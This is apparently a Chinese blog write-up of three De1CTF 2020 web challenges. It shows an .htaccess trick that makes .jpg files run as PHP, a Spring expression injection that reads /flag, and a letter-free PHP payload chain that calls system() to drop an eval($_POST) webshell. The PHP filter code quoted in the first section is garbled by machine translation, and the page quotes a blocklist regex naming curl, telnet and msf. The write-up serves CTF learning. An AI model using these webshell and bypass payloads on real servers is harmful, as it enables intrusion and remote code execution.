De1CTF 2020 web部分 Write Up

# check in

%title插图%num

用户上传文件所有发送内容都通过以下过滤器传递:

$ black = file_get_contents( $ tmp_name);
如果(! $ tmp_name){
     $ result1 = “ ???” ;
} else  if(!$ name){
     $ result1 = “文件名不能为空!;
}
否则 if(preg_match(“ / ph | ml | js | cg / i”,$ name)){
     $ result1 = “文件名错误” ;
}
否则 if(!in_array($ _FILES [ “ fileUpload” ] [ 'type' ],$ typeAccepted)){
     $ result1 = 'filetype error' ;
}
else  if(preg_match(“ / perl | pyth | ph | auto | curl | base |> | rm | ruby​​ | openssl | war | lua | msf | xter | telnet / i”,$ black)){
     $ result1 = “ perl | pyth | ph | auto | curl | base |> | rm | ruby​​ | openssl | war | lua | msf | xter | telnet中的内容!” ;
}

我们要创建一个.htaccess文件来更改文件夹的apache配置设置。
我们发现htaccess文件支持多行,这意味着,我们可以绕过过滤器并配置PHP解释器以与其他扩展一起使用:

AddHandler application/x-httpd-p\
hp .jpg

.htaccess文件抓包改类型上传.
将一个一句话木马的php文件拓展名改成jpg再上传

%title插图%num

# calc

页面是一个计数器,毫无思路emmm...

%title插图%num

试着随便输点东西,看到network中加载的文件,有一个路径,尝试访问
%title插图%num

出来一个页面
%title插图%num

看了师傅们的wp,并且查了一下Whitelabel Error Pagev报错,知道是spring框架的报错类型,那就是java了,,,得用java代码注入进行命令执行了...

(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()

%title插图%num

# Hard_Pentest_1(unsolved)

题目源码

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

主要看这个

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}

限制了后缀名,不能为php,我们可以大小写进行绕过phP
还有一个严格的对内容的过滤
preg_match('/[a-z0-9;~^&|]/is',$file_content)
不能出现字母数字和一些特殊字符。是一个无字母数字getshell点

<?=$_=[]?>
<?=$_="$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>
<?=$__++?><?=$__++?>
<?=$__++?><?=$__++?>
<?=$____=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$_____________=$__++?><?=$__++?>
<?=$__________=$__++?>
<?=$_________=$__++?>
<?=$__++?>
<?=$________=$__++?>
<?=$_____=$__++?>
<?=$______=$__++?>
<?=$______?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____________=$__++?>
<?=$_____.$____________.$_____.$______.$____.$_____________?>
<?=$________________=$_____.$____________.$_____.$______.$____.$_____________?>
<?=$_________.$__________.$_____.$______?>
<?=($________________)(${'_'.$_________.$__________.$_____.$______}[_])?>
__=system&_=echo "<?php eval($_POST['mb']);?>">mb.php

%title插图%num

连上蚁剑。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇